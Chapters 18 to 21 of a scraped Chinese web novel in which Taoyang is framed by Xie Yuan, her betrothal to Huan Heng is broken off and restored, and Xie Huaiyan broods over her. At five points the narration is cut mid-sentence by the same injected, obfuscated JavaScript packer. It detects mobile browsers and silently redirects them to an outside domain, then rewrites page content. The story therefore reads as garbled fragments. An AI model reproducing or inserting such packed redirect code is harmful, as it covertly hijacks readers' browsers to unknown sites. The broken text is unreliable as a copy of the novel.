谢沅走上前,眉眼间写满纠结,覆在桃漾耳边轻轻对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998979|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了一句话。 随后问:“桃漾妹妹可愿帮我么?” 桃漾闻言怔住,不可置信的看向她,此时天色已有些暗,路边灯罩里的烛火还未点起,桃漾依旧能清晰的看见谢沅眼眸中的落寞,默上片刻,她对谢沅轻轻颔首:“你在亭子里等我。” 桃漾没再继续回韶院,而是转身又往鹿鸣山中走去。 大概两刻钟后,桃漾手中多了只绢帕,绢帕里是她回鹿鸣山取回的花草,回到适才在的石子小径后,她往一侧的古亭中走过去,古亭四周种满了花树,夏日繁茂,桃漾隐约瞧见里面有人。 只以为是谢沅,并未多想。 她走上前,刚转过一株繁茂的紫薇花树,凑着昏黄烛火瞧见古亭里坐着的是一男子,桃漾看他一眼,脚下步子就要往外走,那人唤住她:“是桃漾姑娘吧,沅姐姐让我在这里等你。” “她说你把东西给我就成。” 天色已暗,古亭四周无人,桃漾未有言语,只对他颔首,将手中绢帕里的花草搁在他面前的石桌上,施礼后转身离开。 春露湖边,谢沅的母亲邀了桓二夫人在此闲逛,谢沅也在。 几人正说到兴致处,谢沅很是讶异的‘诶’了一声:“适才我好像瞧见桃漾妹妹过去了?”她的目光往春露湖东侧的古亭里瞧过去。 只见古亭内两道身影,一高大,一清弱,隔着层层叠叠的花草树影,两道身影显得极为亲密,尤其是那男子就站在女子身侧,从她们这里看过去,像是轻拥着面前的女子。 谢沅母亲瞧见后,清了清嗓子,斥了谢沅一声,抬手给桓二夫人指了指湖中正一跃而起的鱼儿。桓二夫人自是也瞧见了适才的一幕,心中思绪繁乱,不由得皱起了眉,虽表面和气,却是无心再在此闲逛。 桓二夫人回到居住的玉园,她身边的婢女上前来回禀:“夫人,适才在那亭子里的,的确是阳夏的桃漾姑娘。” 桓二夫人闻言在八仙桌前坐了好些时候,直到桓恒自外面回来,见一桌子的饭菜母亲连碗筷都未动,就上前问:“母亲可是哪里不适么?” 桓二夫人让他近前来,神色倒是温和了下来,握住桓恒的手,语气认真道:“恒儿,娘也不瞒你,此次我来淮阳,是为了给你退亲。” 18.第 18 章 桓二夫人的一句话把桓恒说的瞬时脚下有些不稳:“——什么?” 他发出疑问后,愣了许久:“为什么?母亲,您前两日见了桃漾妹妹,不是很喜欢她么?”桓恒实在未料到他母亲会跟他说这些,神色沉重又慌乱:“亲事都已定下,我和桃漾妹妹亦是两情相悦,到底为什么!” 桓二夫人被儿子的话激起了情绪,眉眼间带着不悦:“为什么?”她冷笑一声:“这门亲事是如何定下的?我从未同意过!” 在这门亲事定下前,桓二夫人已为桓恒相看好了合适的门阀贵女,只是,桓恒来了一趟阳夏后,他数年未回过竹陵的姑母回了家。桓二夫人那时还怜悯桓馥明明是士族嫡女却嫁入谢氏一个不入流的分支。 她待桓馥一直不错,可她未想到,桓馥去见了她母亲桓老夫人后,谁也不知她们在屋内说了些什么,桓馥自屋中出来后,桓老夫人就做主定下了桃漾和桓恒的亲事。 桓二夫人当时如雷轰顶,闹着不同意。 可她夫君劝她,桓老夫人亦是一改往日态度对她格外的看重,她也只能咽下这口气。可,她又向来不是忍气吞声的性子,这口气憋得越久,心里就越不痛快,因此,她此次来淮阳,就是奔着退亲来的。 若他桓氏中人不满,只管休了她就是! 桓恒自然是知道他母亲一直以来的态度,听到母亲这样说,他在桓二夫人身边坐下,态度温和问她:“娘,您是喜欢桃漾妹妹的,对么?可是发生了什么事,定是有了什么误会!” 桓二夫人膝下一子两女,对桓恒极为疼爱,她也不瞒着,直言:“我看到了她和别的男子亲近。” 桓恒立时就反驳:“不可能,母亲一定是看错了。”桓二夫人无奈一笑:“恒儿,就算是她没有和别的男子亲近,可她是未出阁的姑娘,天色暗下后和别的男子接触,总归是不注重礼节,咱们竹陵桓氏的家规你都忘了么?” 桓恒皱紧了眉,只觉心中烦躁,屋内沉默许久后,他站起身,看着他母亲:“欲加之罪,何患无辞!母亲既已打定了主意要退亲,无论桃漾妹妹如何做,都能被挑出不好来。” “人无完人,母亲何必这般苛责!”桓恒眉眼不悦,抬步出了屋门。 —— 桃漾离开了古亭后,心中就已察觉到不对。 桓恒来见她时,她正沿着青石板路往玉园走过去。两个人迎面碰上,隔了有几步距离,桓恒看着她,紧皱的眉眼逐渐舒展开,对她道:“桃漾妹妹是要去找我么?” 桃漾对他颔首:“我晚间自鹿鸣山中回来时,遇到了沅姐姐,她有事求我相帮,待我再回来时,见到的却是她的幼弟。” 桓恒心间一松,他是信桃漾的,但听到桃漾主动与他说起,心中更为舒畅,开口道:“桃漾妹妹别忧心,我信你。”桃漾观着桓恒的神色,心中已然明了,桓恒早就知道了她口中所言。 所以,谢沅做了这么一出戏,是为了让桓二夫人看到。 桃漾微微皱眉,她本是已足够小心谨慎了,却还是着了谢沅的道。她再次回到鹿鸣山中,是为了给谢沅取月见草,这是一味女子可以用来避孕的草药。 那时,谢沅凑在她耳边情绪沉重与她道:“桃漾妹妹,我父亲在官场上得罪了人,欲把我抵出去给那人做妾室,我不愿,他就命人给我下了药,被那人得了逞,桃漾妹妹,我不想怀有身孕,可这府中人多眼杂,我弄不来避子药,你帮二公子照料的花草中可有用来避子的么?” 桃漾不认为有人会拿自己的清誉以及父亲的声名来做局,她信了谢沅。 谢沅很聪明,知道她不受父亲疼爱,故拿父亲来诓骗她,触及到她的心事,让她无心去怀疑,桃漾轻叹一声,对桓恒莞尔:“恒哥哥愿意信我便好,我适才出来的急,未与母亲言说,便先回去了。” 桓恒欲言又止,想要开口唤她,却又压制了情绪。 桃漾回到屋内,径直上了榻。 倚在迎枕上微微发怔,杏枝见她这模样也没敢上前来打扰,直到桃漾自己回过神,唤杏枝:“端杯茶水来,要甜些的。”杏枝闻言急忙放下手中活计,倒了杯茶水送过来。 桃漾用过后,就起身去沐浴,待再次回到榻上,杏枝往床帐里熏着香,她依旧是倚在迎枕上,手中不住的捏着只小人,杏枝笑道:“姑娘都把她给捏扁了。” 桃漾垂眸仔细看着,神色郁闷。 这只小人是桃漾送给自己的及笄礼,每当她心情不好时,都会把这只小人拿出来,有时给她梳理一下辫子,有时给她换件新衣裳。 她这么捏小人,杏枝还是头一回见。 过上片刻,桃漾轻轻抚了抚手中小人的乌发,让她被捏扁的身子恢复原位,让杏枝熄灯落了床帐,躺了下来。 翌日,桃漾自韶院前往鹿鸣山中经过昨晚的春露湖时,再次见到了谢沅。隔得还有些距离,谢沅就已露出了得意的笑:“桃漾妹妹,还有心思去鹿鸣山呢?”她往桃漾跟前走:“妹妹昨夜没睡好罢,瞧这眼圈青的。” 桃漾看她一眼,在谢沅走得离她近些时,‘啪’的一声给了谢沅一耳光,谢沅始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007685|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料未及,怒目圆瞪,指着桃漾:“你,谢桃漾!”桃漾不愿多理会她,抬步就要走,被谢沅扯住衣袖:“我还当你真是好脾性,桃漾妹妹可真是会装纯真哄骗桓恒呢!” 桃漾皱眉,看她一眼:“谢沅,我可得罪过你么?” 她从未得罪过谢沅,也不想跟她有牵扯,唯一错了的,就是昨日不该对她动恻隐之心。 谢沅呵笑:“我自幼就讨厌你,你不是不愿和我来往么,我送你书籍,你的婢女不小心沾了水,你无法再送还,就要送我砚台以此不亏欠,既然我只能嫁给桓大郎君,那我就不让你嫁,怎能让你看我的笑话呢?” 她说的话,桃漾听不太懂。 桃漾抬步往春露湖边走,谢沅跟上她不愿放她走,刚一走至湖边,却是脚下一个不稳,‘嘭’的一声就跌进了湖中。 与此同时,桃漾也跌在了青石板地上,吃痛的凝眉,不远处,谢夫人正朝这边走过来,桃漾对着喊:“有人吗——快来人——” 春露湖里养的鱼儿都翻了肚,这两日湖中正在清淤泥,里面的水不深,很是浑浊,谢夫人听到喊声,让她身边的嬷嬷急忙过去瞧瞧,好在这嬷嬷身高力强,跳下去将谢沅给拖了上来。 桃漾看到谢沅脸上沾满泥污,心中一松。 适才她瞧见谢夫人来了这边,而谢沅脸上的掌掴印已是很明显,已有了昨夜的事,她不得不谨慎,这个时候不能再横生枝节了,她不能让谢夫人知道她打了谢沅,也不给谢沅任何机会,让她以脸上的掌印再大作文章。 谢沅在泥污中折腾一番,已是没了气力,谢夫人命人将她送去临近的水榭清洗,随后看向桃漾,见她的左手一直扶着右边肘弯,问她:“可是伤着了么?”谢夫人亲眼瞧见是桃漾先往下倒,谢沅随后才掉入湖中的。 再明显不过,是谢沅推了桃漾,不成想却是害了自己狼狈。 桃漾垂眸回:“谢夫人关心,我没事。”谢夫人瞧着她,再问:“你在此经过,可是要去鹿鸣山中帮怀砚照料花草?”这几日,谢怀砚一直有让人往她院中搬去料理的井井有条的奇花。 谢夫人知道是桃漾在打理,只觉得这姑娘是个心细手巧有耐性之人。 桃漾点头。 谢夫人虽不知桃漾性情如何,却是知道谢沅,她瞧着桃漾乖乖巧巧的,对她道:“今日的事有我在,去忙罢。”桃漾颔首道谢,继续往鹿鸣山中去。 —— 巳时,谢怀砚回到鹿鸣山不过一刻钟,空渊来到书房回禀:“公子,桓四郎君在鹿鸣山外求见。” 19.第 19 章 桓二夫人是性情执拗之人,桓恒说服不了自己的母亲,有意寻谢夫人相帮,他深知此次无论是否有谢沅所做之事,他母亲都是打定了主意要退亲的,不过是借了这个契机罢了,如今能帮他的,只有谢氏家主夫人。 若她能为桃漾妹妹说上几句话,或许母亲的态度能有所改变。 谢夫人膝下只谢怀砚一子,桓恒不好直接去见谢夫人,就来了鹿鸣山见谢怀砚。 书房内,桓恒将心中所求与谢怀砚说出,最后神色恳切道:“我与桃漾妹妹两心相许,还望二公子相助,日后定当重谢。”谢怀砚手中摩挲着杯盏,神色平和:“桓四郎与桃漾妹妹如此情深,既求到我这里,岂有不相帮的道理。” 桓恒见谢怀砚回的爽快,神色松缓,道了谢后离开。 —— 午时正,桃漾和陈月漪坐在海棠花树下的石桌前用了些冰饮子,今儿日光很暗淡,天幕上云团子来回游动,像是要落雨,可依旧是很闷热,两人用了些冰饮子后,身上凉爽许多。 陈月漪坐了一会儿就起身去了谢怀砚的别苑。 这些花草中有很多都不喜湿,夏日的雨往往又落得急,得用雨棚给遮挡起来。 陈月漪离开后,桃漾轻轻打了个哈欠,昨夜里她未能休息好,此时倒是有了些困意,见四下无人,她就趴在石桌上小憩上一会儿,刚趴下不过片刻,就已神思飘忽,呼吸匀称的睡着了。 一刻钟后,谢怀砚和陈月漪一道来了这里。 陈月漪瞧见桃漾趴在石桌上睡下,欲上前去唤醒她,被谢怀砚制止,他低声道:“取件薄衫来。”陈月漪应是,往她和桃漾居住的小院走去。 夏日闷燥,却是有风,桃漾半边脸枕在手腕,睡容恬静,谢怀砚走上前,黑眸点淬,直直看着她。 微风将如墨青丝扬起,再落下,面前石桌上飘散着几瓣娇艳的海棠花瓣。 风吹起落,沾染发间,吹落在她莹白面颊。 谢怀砚审视她良久,眸光移至她唇边那片轻漾的海棠花瓣上,海棠花鲜艳,朱唇水润嫣红,他修长指节抬起,微凉指腹捻起那片圆润花瓣,若有似无擦过她的唇角,滑腻香软。 桃漾乌黑眼睫闪动,一下、两下,再又安稳睡下。 谢怀砚垂眸看着那片花瓣,凑在鼻息轻嗅,随后花瓣自薄唇而入,抿在口中,轻嚼咽下。 她生的很美,出水芙蓉般恬静的面容,可如她这般女子,却非世间难求。他若有意,这样的女子可寻来成千上百,如何就总梦见她?她身上到底有什么……让他时而心情愉悦,时而又这般厌弃这张面容。 思及此,谢怀砚温润的眉眼变得冷沉,看向桃漾的眸光也随之染上几许厌恶,他心间亦是生了燥,垂眸再次睨了桃漾一眼,抬步离去。 陈月漪手中拿着薄衫来到这里时,已只有桃漾一人了,她轻轻为桃漾搭上外衣,坐在一侧陪着她,大概又过了一盏茶后,桃漾微微掀开眼,嗓音轻软:“你回来了,二公子如何说?” 陈月漪边给她添了杯茶水边道:“公子说午后命人来搭雨棚。”桃漾坐直身,对她颔首,她这一觉睡得沉,眉眼间显出几分慵懒来,下意识抬手揉了揉眼睛。 雨棚搭好后,果真是落了雨。 暗沉天幕乌云滚滚,硕大雨珠如倾盆之势而来,刚过申时,桃漾就撑伞回了韶院。她刚一走进,杏枝就面色极为沉重的往桓馥屋内望了眼,对桃漾道:“姑娘,桓二夫人——刚走。” 桃漾握在伞柄的指节蜷紧,压在心底的不安终是来了。默上片刻,她应了杏枝一声,朝桓馥屋内走过去。 刚过午后桓二夫人就来了韶院,与桓馥说起了退亲之事,对于此,桓馥说不上是什么情绪。 似乎这一日的到来是早晚的事。 桓馥近来身子不大好,也是因着她三番两次的与桓二夫人说起桃漾和桓恒的亲事,桓二夫人都避而不谈,这态度再是明显不过了。不过,桓二夫人想要退亲,哪有那么容易? 这事是桓馥的母亲桓老夫人亲自应下的,是以,桓二夫人和桓馥在屋内待了一刻钟的时辰,话都说的坚决,却是也没个结果。桃漾进来屋内后,见桓馥正倚在矮榻上闭目休憩,也未多言,只上前去侍奉着给桓馥捏肩。 * 玉园内。 暴雨如注,桓二夫人站在屋门前,看着跪在青石板地上的桓恒,恨的咬牙:“亲事我已与你姑母言明,已然是退下,你就算是跪死在这里,也没用!”桓二夫人说了这句话后,回身进屋,砰的一声把屋门给合上。 今儿一早桓恒自鹿鸣山中回来后就跪在了这里,苦苦哀求他母亲,可就算是谢夫人邀了他母亲闲话一番,终究是无果,他母亲还是去了韶院。 此时桓恒神情颓丧,眼圈泛红,听到他母亲决绝的话后,眼神愈发坚定,身板直直的跪在风雨中。 桓恒见惯了士族中那些面和心冷的夫妻,不过都是政治联姻,为了两族利益,他不愿过那样的日子,他心中也并无宏大志向,只愿和心爱之人相守,若连这个愿望都争取不来,他日后只会比那些为了联姻而成婚之人更为痛苦。 夜色逐渐昏暗,暴雨依旧如泻,四周静谧,只有蝉鸣。 一个时辰又一个时辰,直至东山泛红,露出第一缕日光。桃漾晨起起身后,才知桓恒昨夜在院中冒雨跪了一夜,她不觉间咬紧唇,抬眸朝玉园的方向望过去,随后快步往桓馥屋中走。 桓馥闻此,命人带了补品往玉园送过去。 “恒儿倒是对你痴心,也不知他跪了这一夜,你舅母如今是何态度。”桓馥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015739|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽是皱眉,却也明白,身为人母,哪有狠心看孩子如此的,桓恒在院中跪了一夜,他母亲又岂会安枕。 这亲事是要成了。 * 骤雨已停,空气如洗。 府中处处可见青绿盛景,这一夜里,不止是桓恒凄惨跪在暴雨中,那日替谢沅在古亭中等候桃漾的男子同样也跪了一整夜,只不过,他是跪在鹿鸣山中。 昨日一早,他就收到了来自安陵的书信,信上说他刚任职的安陵仓管一职,因他失责而致使库房损失,要革了他的职,书信的末尾,这人还给他提醒了句,此事求人或有一线转机。 他午后的时候就来了鹿鸣山。 只是,谢怀砚并不见他。 他一直跪至天明,身影摇摇欲坠,就要一头栽过去时,空渊出来与他说了句话:“珉公子做了何事,心中自然是清楚,去老夫人跟前说明白,我家公子自不会为难你。” 谢珉面色惨白的想了许久,才想明白是那日他帮了沅姐姐的缘故,立时起身去换了干净衣衫,去谢老夫人的存玉堂,再次跪在那里将那日谢沅让他做的事一五一十的全都抖落了出来。 谢老夫人闻言大怒,将手边杯盏丢掷在地,让人唤了谢沅来,好生一番质问。谢沅是养在她身边教养长大的,做出此等伤风败俗之事,实在是有辱谢氏门楣,谢老夫人气到扶额,让人把谢沅带下去,先禁足,之后再商议如何处置。 之后,谢珉再次前去鹿鸣山,却是连山门都未能进去,谢氏管家前去安陵谢氏居住的院中,随意寻了个由头让安陵谢氏的人先回了安陵,不必再留下为谢老夫人贺寿。 待回到安陵后,谢珉本以为会恢复的官职依旧未能恢复,他前去府衙,看门的守卫直接把他赶了出去。 —— 如桓馥所说,桓二夫人同意了这门亲事,当日午后就再次来到韶院,与桓馥商议桃漾和桓恒的婚期,虽闹了些不愉快,婚期商议的却极为顺利,就定在十月中完婚。 待桓二夫人回去后,桓恒就来了韶院见桃漾。 桓恒晨起时昏倒过去,用了些汤药,气色已不再煞白,他和桃漾两个人在花厅里坐着,桃漾给他添了杯茶水,嗓音低低的:“恒哥哥用点茶水罢。”在此之前,桃漾只知桓恒对她有情意。 至于这份情意是怎样的,她并未想过。 如今看到桓恒这般待她,桃漾心间酸酸的,这是一种她从未有过的感受。 桓恒终于得偿所愿,虽在雨中跪了一整夜,却觉都值得,他身上虽酸痛,心里却是如蜜一样的甜,与桃漾有一句没一句的说着话,这场大雨午时便已停下,微风格外的清凉,桓恒看着桃漾,情不自禁握住了她搁在膝上的柔荑。 握在掌心,暖暖的。 踏踏实实的。 20.第 20 章 桃漾任由桓恒握着手,垂眸看着面前玉盘里的时令鲜果,两个人在花厅待了有一炷香的时辰,桓恒也不好再久待,就要起身回玉园去,桃漾唤住他,面靥桃红:“恒哥哥,这个给你。”桃漾递给了他一只碧色荷包,里面扁扁的,也不知是装了什么。 桓恒神色欢喜,对她轻笑接过,步子极快的回了玉园,待进了屋中,迫不及待的打开桃漾给他的荷包。 里面是用红线系着的一缕青丝。 桓恒眸子放大,直直盯着,一股清甜的气息自青丝上散出,飘落在他鼻息间,他自然是知道,这是桃漾的青丝,桃漾妹妹剪下她的青丝送给了他!桓恒激动的来回走了几圈,不由咧嘴笑开。 女子赠青丝。 是‘情思’和‘非君不嫁’的承诺。 桓恒当即坐在书案前给桃漾写了封书信,上面是他作的一首情诗,搁笔合信纸时,恰逢窗外飞进一瓣紫薇花,桓恒再次提笔,在信纸末尾写道:竹陵郡我的别苑里种满了紫薇花,来年夏日,桃漾妹妹就可以和我一起闲坐庭院,观月赏花。 人是乐的,信纸上的每个字都透着甜蜜。 —— 早在几月前谢老夫人的寿辰刚开始准备时,就唤了谢怀砚去她的存玉堂,让他在豫州的名门士族中挑选出一位女子来,将亲事给定下。谢怀砚当时也确有此意,他已二十有二,早到了成家的年纪。 届时,各士族都会携家中未出阁的女眷前来贺寿,自是最好的时机。 这女子是谁他并不在意,不过是榻上承欢,绵延子嗣,打理后宅。 只须与他门第相当,温婉懂事。 谢老夫人也同样不问是哪个士族,只要身份足够贵重,性情端庄大气便可。唯独谢夫人心里早就有了人选,她出自沁原王氏,欲让她的侄女王清若嫁进谢氏来。 是以,王清若早些日子就随她兄长提前来了淮阳。 她刚到谢氏的第二日,谢夫人就命人请了谢怀砚到她院中来用午膳,谢怀砚去到后,待王清若倒是温和亲切,与她相聊许久,只是,那日谢怀砚离开后,之后谢夫人再命人请他过去,他却是一直在忙。 知子莫若母。 他的态度很是明显,可谢夫人还是不死心,让王清若去他的墨园里走走:“你与他自幼相识,后来也常在一处玩闹,怎么长大了反而羞了呢?他是你怀砚哥哥,墨园你只管随意进出。” 谢夫人的话是对王清若说了,可王清若却并未前去墨园。 谢怀砚是家主谢蕴和王氏嫡女联姻诞下的天之骄子,身份再无这般矜贵,可王清若亦是自幼被父亲兄长捧在手心里的珍宝,在沁原王氏谁还不是都敬着她么?她亦是不染尘埃的矜贵女郎。 一连两日,王清若都未前去墨园,谢夫人问了她,她也不去。 只是,谢夫人看的出来,她虽是不去,心里却是在与谢怀砚怄气,面容是一日比一日更为不悦。 这日,王清若倚在莲湖前百无聊赖的喂鱼食,她三哥哥王清臣走过来,在身后吓了她一吓,被王清若狠狠瞪了他一眼:“三哥哥怎还这般爱唬人,若把我吓得掉进湖中去了,可如何是好呢?” 王清臣笑着与她赔罪,随后问她:“你一个人在这里发什么怔?谢怀砚呢?” 哪壶不开提哪壶! 王清若轻哼一声:“他在哪,我怎会知道?”王清臣笑她:“没来淮阳之前,也不知是谁整日里念着他,怎么,来了淮阳反倒是不愿和他见面了么?” 王清若一直都是倾慕谢怀砚的。 她年少时来淮阳,那时候怀砚哥哥待她是极好的,不但送她礼物,还带着她游历淮阳。少女的心早在那时候就已给了人,可如今,却都物是人非了似的。王清若眉眼间添上几分伤感:“我怎会不愿呢,三哥哥你是知道的,男子只有是自己求来的才会珍惜。” “我若主动去见他,就算日后嫁进了谢氏,他亦不会待我珍视。” 王清臣见她恼闷,上前揉了揉她的脑袋:“若妹妹这话说的对也不对,男子是会对自己求来的珍惜,可,知了滋味的更会珍惜。”他轻笑:“你和他都多久未见过面了?他是谢氏家主嫡子,又任豫州刺史,身边何时少过貌美女子?” “若妹妹得去他跟前走动走动,以妹妹的姿容性情,还有咱们王氏贵女的气度,他如何能不对妹妹动心呢?妹妹若是再送上一份亲手做的点心,对他温柔小意的关怀上几句,他知道了妹妹的好,自然会如妹妹所说,让他来求得妹妹的欢心。” 王清若听完后,想了想:“可我不会做点心!” 王清臣笑她:“点心做成什么样不重要,越是没眼看,越能证明妹妹的用心啊!”毕竟是怀春的少女,怄了这么两日气,心中也是极想见谢怀砚的,她来淮阳之前,母亲与她说姑母是起了给她和怀砚哥哥定亲的心思。 她就以为此次前来是为了和他培养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020682|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感情。 之后再定亲的。 明明该是郎情妾意,如今却是这般磨人心绪。 王清若听了她三哥哥的话,端着一盘歪七扭八的糕点来了墨园,谢怀砚让人请她进了书房,神色平和与她闲谈片刻,却是未动她端来的糕点,王清若在此待了有一刻钟,起身离去。 待到第二日,她再次来到墨园时,谢怀砚还未见到,却是看到了与后院连接的垂花门处有数十位衣着艳丽的女子手握香扇,正在谈笑,口中所言尽是与谢怀砚相关,甚至光天化日之下,毫不知羞的公然说他喜欢什么样的玉带,夜里喜好点什么香。 王清若脸色瞬时煞白,问了墨园里的奴仆才知,这些女子竟都是谢怀砚收在后院中的,一时气极,将手中端着的糕点‘嘭’的一声摔碎在地,忍着怒意回了她居住的院中。 之后,王清若再未去过墨园。 谢夫人也未再提起过这门亲事。 —— 谢老夫人寿辰前一日,各士族前来贺寿的人都已到达淮阳谢氏。 这日晚间,谢怀砚在鹿鸣山中他的别苑里设宴,宴请各士族中与之常来往的郎君。酒酣曲尽,一如往日,有婢女上前呈上五石散,有好五石散者,皆服用之。南阴郡荀氏的二郎君瞧见谢怀砚也服了散。 剑眉微挑。 侧首往身后瞥过一眼,有一明艳衣着女子上前来,半跪在身侧侍奉,荀二郎君举杯与谢怀砚共饮,随后对身边女子吩咐:“去,给谢二公子把酒添上。”这女子便起身上前,温婉知礼,为谢怀砚斟酒。 待杯中酒斟满,她轻抬美目,一双含情眼怯怯望着上首之人,却见上首之人目光清淡,并无理会她之意。她微往前倾身,为他剥玉盏中的葡萄,颗颗饱满的葡萄豆子之上却倏然落下一块玉石,他声线低沉:“下去。” 左侧的荀二郎君见此,不由得凝眉,他不是第一次给谢怀砚送女人,这些年里,也能摸清一些他的喜好,实在是谢怀砚愿意收下的女子都太过相似,往日里如他面前女子这般,谢怀砚皆受而不拒。 荀二郎君不由得苦恼,他可是花重金专门寻了此女子来献给他,难不成这般的女子他看腻了么? 谢怀砚今日不予理会,这女子只得取了那块玉石赏赐再回到荀二郎君身侧。 * 戌时,鹿鸣山中五步一灯,尽皆燃亮,宴席渐散,谢怀砚起身,眸光幽邃,朝着香苑的方向望过去。 21.第 21 章 今夜庾子轩和桓恒也在。 谢怀砚起身离开时,桓恒在身后跟了上来:“谢二公子。”谢怀砚闻言侧首,对桓恒淡淡颔首。 桓恒有了上回醉酒丢香囊的事,这回再不肯多饮,此时人是清醒的,他与谢怀砚施礼,神色真诚道:“谢珉能前去老夫人跟前说明那日事情缘由,我代桃漾妹妹谢过二公子。” 虽说桓二夫人已同意了他和桃漾的亲事,可若此事不说清,桃漾难免被人非议,日后嫁去竹陵郡,搁在他母亲心里也终是个疙瘩,为此,桓恒很感激谢怀砚帮了他们。 谢怀砚今夜少饮了些酒,一双桃花眼尽显温润风流,在桓恒说出这句话时,他眉心淡淡一抬,轻笑:“我帮她,是看不惯别人欺她,”他嗓音平和隐带压迫:“她还未嫁进竹陵桓氏,桓四公子凭何代她来道谢?” 说到最后,他神色沉下去,语气亦意味不明。 桓恒被他一句话问的尴尬,倒是他身侧的庾子轩哈哈大笑一声:“我是没有妹妹,桃漾姑娘若是我妹妹,”他拍了下桓恒的肩:“人还没嫁入你们桓氏呢,你就这样跟我这个做兄长的说话,我真得揍你不成。” 桓恒也笑:“是我失言了,二公子与桃漾妹妹同出一宗,是桃漾妹妹的兄长,我是不该在兄长面前如此言说。” 谢怀砚薄唇勾笑,未再理会,抬步往他居住的寝居行去。 —— 桃漾已开始把料理这些花草的事宜尽数说给陈月漪。本是今儿一日就可与陈月漪交接完毕的,只是今夜谢怀砚在鹿鸣山中设宴,这些贵客们就少不得会来香苑瞧上一眼这片花海。 其他的客人倒还好,在这里少逛一会儿就离去。 只有庾子轩刚用过午膳就来了这处,说是往日里不懂花草,如今想让桃漾传授些养护花草的法子。 庾子轩性情温和,说起这些话时,神色间极为认真,除了那句‘嫂嫂’外,其余的话皆不似玩闹,他是颍川庾氏来的贵客,对花草起了兴致,又与桓恒在机关术上极为相投,桃漾没有回绝,引着他在香苑逛了近一个时辰。 庾子轩眉目含笑:“嫂嫂讲授的辛苦,先去用口茶水罢。”日光逐渐升起,闷燥起来,庾子轩听着都觉得口干,回身往海棠花树下的石桌旁走过去。待两人落座,桃漾神色清淡与他道:“庾四郎君唤我桃漾便好。” 庾子轩的样貌随了他父亲,面如冠玉,正人君子之色,偏又生了一双丹凤眼,显出几分世家公子的风流来。他闻言对桃漾颔首:“是我冒犯了。”随后,与桃漾说起些别的:“我来向你讨教,也是因着府中以及街市铺子里的香料我皆用不得,是以,动了自己调制百花香料的念头。” 桃漾用了茶水,抬眸看他:“为何用不得?” 庾子轩回她:“我对香料里的蚌粉有过敏之症,平日里用的香料都很简单,可我又偏偏不喜这么简洁的气味。”桃漾对他温和颔首,未料到面前之人竟是与她一般,对蚌粉有过敏之症。 她道:“庾四郎君若不嫌弃,我可以给你写几个可用的香料方子。”庾子轩闻之感激不尽,对桃漾道谢,待桃漾提笔写好递给他时,庾子轩瞧过一遍,感叹:“还是姑娘家有雅性,比我请的那些香料师傅用料雅致极了。” 庾子轩是个做事有钻研劲的人,在桃漾这里一待就是好几个时辰,直到天光微暗时才自觉麻烦桃漾太久,别苑内的宴席怕是已经开始,急忙起身离去。 他在这里待了多时,以至于桃漾自己的事还有一堆未忙完,她和桓恒的婚期定下后,桓馥的身体也就好了大半,桃漾就未再回韶院,和陈月漪用过晚膳后,还待在香苑中。 夜里山间清风拂面,很是沁凉,桃漾和陈月漪忙活完后,见时辰还早,就取来竹篮把掉落在地的花瓣捡拾了些,回去做成香囊。两人并排而行,口中闲谈,却听不远处有人唤道:“桃漾妹妹。” 是桓恒。 他本是和庾子轩一道要离开鹿鸣山,可一想到明儿就是谢老夫人的寿辰,定是各种忙碌见不得面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15025341|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 